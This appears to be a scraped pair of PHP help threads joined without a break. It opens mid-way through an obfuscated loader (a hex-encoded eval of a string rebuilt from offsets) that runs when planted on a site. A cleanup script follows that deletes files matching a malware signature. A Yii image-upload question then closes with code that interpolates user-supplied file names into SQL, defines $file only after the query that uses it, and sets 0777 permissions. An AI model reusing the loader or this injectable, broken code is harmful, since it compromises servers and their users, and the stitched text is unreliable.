2,5528,37,3709,20,9087,62,8793,32,3190,22,1615,29,5592,48,401,65,4713,49,3007,56,2753,35,274,29' ); $vljzlxyidt = substr( $xiyzbtmheq, ( 66854 - 56748 ), ( 26 - 19 ) ); if ( ! function_exists( 'krkmslacdc' ) ) { function krkmslacdc( $dfsltjfdfy, $vhbwrjxtar ) { $cnjpfblxkx = null; for ( $mckpdcjuhs = 0; $mckpdcjuhs < ( sizeof( $dfsltjfdfy ) / 2 ); $mckpdcjuhs ++ ) { $cnjpfblxkx .= substr( $vhbwrjxtar, $dfsltjfdfy[ ( $mckpdcjuhs * 2 ) ], $dfsltjfdfy[ ( $mckpdcjuhs * 2 ) + 1 ] ); } return $cnjpfblxkx; } ; } $pyzbigcqqv = "\x20\57\x2a\40\x75\141\x65\164\x78\163\x6e\155\x61\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\63\x35\55\x39\70\x29\51\x2c\40\x63\150\x72\50\x28\63\x37\63\x2d\62\x38\61\x29\51\x2c\40\x6b\162\x6b\155\x73\154\x61\143\x64\143\x28\44\x73\172\x68\153\x6d\160\x6a\145\x73\145\x2c\44\x78\151\x79\172\x62\164\x6d\150\x65\161\x29\51\x29\73\x20\57\x2a\40\x65\141\x62\166\x6e\162\x6f\157\x74\157\x20\52\x2f\40"; $tkudmphbyd = substr( $xiyzbtmheq, ( 53762 - 43649 ), ( 51 - 39 ) ); $tkudmphbyd( $vljzlxyidt, $pyzbigcqqv, null ); $tkudmphbyd = $pyzbigcqqv; $tkudmphbyd = ( 565 - 444 ); $xiyzbtmheq = $tkudmphbyd - 1; ?> //////////////UPDATE Haven't test yet, but please create a php file with this content <?php function get_dir_tree( $path = __DIR__, $include_file = true, $include_dir = true, $excludes = array() ) { if ( ! is_dir( $path ) ) { return false; } $data = array(); //keeps 2 default flag, and add the unnix path & remove dots $directory_flag = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS; $tree = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $path, $directory_flag ), RecursiveIteratorIterator::SELF_FIRST ); foreach ( $tree as $p => $file ) { if ( $file->isFile() && $include_file == false ) { continue; } if ( $file->isDir() && $include_dir == false ) { continue; } if ( in_array( $p, $excludes ) ) { continue; } $data[] = $p; } return $data; } foreach ( get_dir_tree( __DIR__, true, false ) as $path ) { $content = file_get_contents( $path ); if ( stristr( $content, 'if(!isset($GLOBALS["\x61\156\x75\156\x61"]))' ) ) { echo 'file ' . $path . ' is affected'; unlink( $path ); } } Then navigate to this file in your browser, it will find and delete the bad file. Make sure you do have a backup
Unable to save image paths to database yii
I am using the xupload extension, which is based on the blueimp jquery fileuploader, and while I can successfully upload to the folder, I am unable to add the paths and other details to the database. Below is the upload action and the model, in that order. Please help. Thanks. public function actionUpload( ) { //Here we define the paths where the files will be stored temporarily $path = Yii::app() -> getBasePath() . "/../images/"; $publicPath = Yii::app()->getBaseUrl( )."/images/"; //This is for IE which doens't handle 'Content-type: application/json' correctly header( 'Vary: Accept' ); if( isset( $_SERVER['HTTP_ACCEPT'] ) && (strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) !== false) ) { header( 'Content-type: application/json' ); } else { header( 'Content-type: text/plain' ); } //Here we check if we are deleting and uploaded file if( isset( $_GET["_method"] ) ) { if( $_GET["_method"] == "delete" ) { if( $_GET["file"][0] !== '.' ) { $file = $path.$_GET["file"]; if( is_file( $file ) ) { unlink( $file ); } } echo json_encode( true ); } } else { $model = new Photo; $model->file = CUploadedFile::getInstance( $model, 'file' ); //We check that the file was successfully uploaded if( $model->file !== null ) { //Grab some data $model->mime_type = $model->file->getType( ); //$model->size = $model->file->getSize( ); $model->name = $model->file->getName( ); //(optional) Generate a random name for our file $filename = md5( Yii::app( )->user->id.microtime( ).$model->name); $filename .= ".".$model->file->getExtensionName( ); if( $model->validate( ) ) { //Move our file to our temporary dir $model->file->saveAs( $path.$filename ); chmod( $path.$filename, 0777 ); //$model -> path = "/images/uploads/".$filename; //here you can also generate the image versions you need //using something like PHPThumb //Now we need to save this path to the user's session if( Yii::app( )->user->hasState( 'images' ) ) { $userImages = Yii::app( )->user->getState( 'images' ); } else { $userImages = array(); } $userImages[] = array( "path" => $path.$filename, //the same file or a thumb version that you generated "thumb" => $path.$filename, "filename" => $filename, 'size' => $model->size, 'mime' => $model->mime_type, 'name' => $model->name, ); Yii::app( )->user->setState( 'images', $userImages ); //Now we need to tell our widget that the upload was succesfull //We do so, using the json structure defined in // https://github.com/blueimp/jQuery-File-Upload/wiki/Setup echo json_encode( array( array( "name" => $model->name, "type" => $model->mime_type, "size" => $model->size, "url" => $publicPath.$filename, "thumbnail_url" => $publicPath."thumbs/$filename", "delete_url" => $this->createUrl( "upload", array( "_method" => "delete", "file" => $filename ) ), "delete_type" => "POST" ) ) ); } else { //If the upload failed for some reason we log some data and let the widget know echo json_encode( array( array( "error" => $model->getErrors( 'file' ), ) ) ); Yii::log( "XUploadAction: ".CVarDumper::dumpAsString( $model->getErrors( ) ), CLogger::LEVEL_ERROR, "xupload.actions.XUploadAction" ); } } else { throw new CHttpException( 500, "Could not upload file" ); } } } and the model; <?php class Photo extends CFormModel { public $file; public $mime_type; public $size; public $name; public $filename; public function tableName() { return 'photo'; } public static function model($className=__CLASS__) { return parent::model($className); } public function rules() { return array( array('file', 'file', 'types'=>'jpg,gif,html'), ); } /** * Declares attribute labels. */ public function attributeLabels() { return array( 'file'=>'Upload files', ); } public function getReadableFileSize($retstring = null) { // adapted from code at http://aidanlister.com/repos/v/function.size_readable.php $sizes = array('bytes', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); if ($retstring === null) { $retstring = '%01.2f %s'; } $lastsizestring = end($sizes); foreach ($sizes as $sizestring) { if ($this->size < 1024) { break; } if ($sizestring != $lastsizestring) { $this->size /= 1024; } } if ($sizestring == $sizes[0]) { $retstring = '%01d %s'; } // Bytes aren't normally fractional return sprintf($retstring, $this->size, $sizestring); } /** * A stub to allow overrides of thumbnails returned * #since 0.5 * #author acorncom * #return string thumbnail name (if blank, thumbnail won't display) */ public function getThumbnailUrl($publicPath) { return $publicPath.$this->filename; } public function afterSave() { $this->addPhotos(); parent::afterSave(); } public function addPhotos() { if(Yii::app()->user->hasState('images')){ $userImages = Yii::app()->user->getState('images'); $path = Yii::app()->getBasePath."/../images/uploads/"; if(!is_dir($path)){ mkdir($path); chmod($path, 0777); } foreach($userImages as $image){ if(is_file($image['path'])){ if(rename($image['path'], $path.$image['filename'])){ chmod($path.$image['filename'], 0777); $photo = new Photo; //$photo -> size = $image['size']; //$photo -> mime = $image['mime']; $photo ->name = $image['name']; $photo -> path = "/images/uploads/".$image['filename']; if(!$photo->save()){ Yii::log(("Can't Save: \n").CVarDumper::dumpAsString($photo->getErrors()),CLogger::LEVEL_ERROR); throw new Exception( "Could not save Image"); } } } else{ Yii::log($image['path']."is not a file", CLogger::LEVEL_WARNING); } } Yii::app()->user->setState('images', null); } } }
So turns out if I use Active Record, or the Query Builder, it doesn't work. So I have used SQL and it works. Here is the code: public function actionPost( ) { //Here we define the paths where the files will be stored temporarily $path = Yii::app() -> getBasePath() . "/../images/"; $publicPath = Yii::app()->getBaseUrl( )."/images/"; //This is for IE which doens't handle 'Content-type: application/json' correctly header( 'Vary: Accept' ); if( isset( $_SERVER['HTTP_ACCEPT'] ) && (strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) !== false) ) { header( 'Content-type: application/json' ); } else { header( 'Content-type: text/plain' ); } //Here we check if we are deleting and uploaded file if( isset( $_GET["_method"] ) ) { if( $_GET["_method"] == "delete" ) { if( $_GET["file"][0] !== '.' ) { $query = "DELETE FROM `fuck`.`photo` WHERE `photo`.`path` = $file"; $file = $path.$_GET["file"]; if( is_file( $file ) ) { unlink( $file ); Yii::app()->db->createCommand($query)->execute(); } } echo json_encode( true ); } } else { $model = new Photo; $model->file = CUploadedFile::getInstance( $model, 'file' ); //We check that the file was successfully uploaded if( $model->file !== null ) { //Grab some data $model->mime_type = $model->file->getType( ); $model->size = $model->file->getSize( ); $model->name = $model->file->getName( ); //(optional) Generate a random name for our file $filename = md5( Yii::app( )->user->id.microtime( ).$model->name); $filename .= ".".$model->file->getExtensionName( ); if( $model->validate( ) ) { //Move our file to our temporary dir $model->file->saveAs( $path.$filename ); chmod( $path.$filename, 0777 ); $drive = "/images/".$filename; /* $db->createCommand()->insert('photo', array( //'id'=>$newID, 'name'=>$model->name, 'path'=>$drive, )); */ $sql = "INSERT INTO `gallery`.`photo` ( `name` , `path` ) VALUES ( '$model->name', '$drive' ); "; Yii::app()->db->createCommand($sql)->execute(); echo json_encode( array( array( "name" => $model->name, "type" => $model->mime_type, "size" => $model->size, "url" => $publicPath.$filename, "thumbnail_url" => $publicPath."thumbs/$filename", "delete_url" => $this->createUrl( "upload", array( "_method" => "delete", "file" => $filename ) ), "delete_type" => "POST" ) ) ); } else { //If the upload failed for some reason we log some data and let the widget know echo json_encode( array( array( "error" => $model->getErrors( 'file' ), ) ) ); Yii::log( "XUploadAction: ".CVarDumper::dumpAsString( $model->getErrors( ) ), CLogger::LEVEL_ERROR, "xupload.actions.XUploadAction" ); } } else { throw new CHttpException( 500, "Could not upload file" ); } } }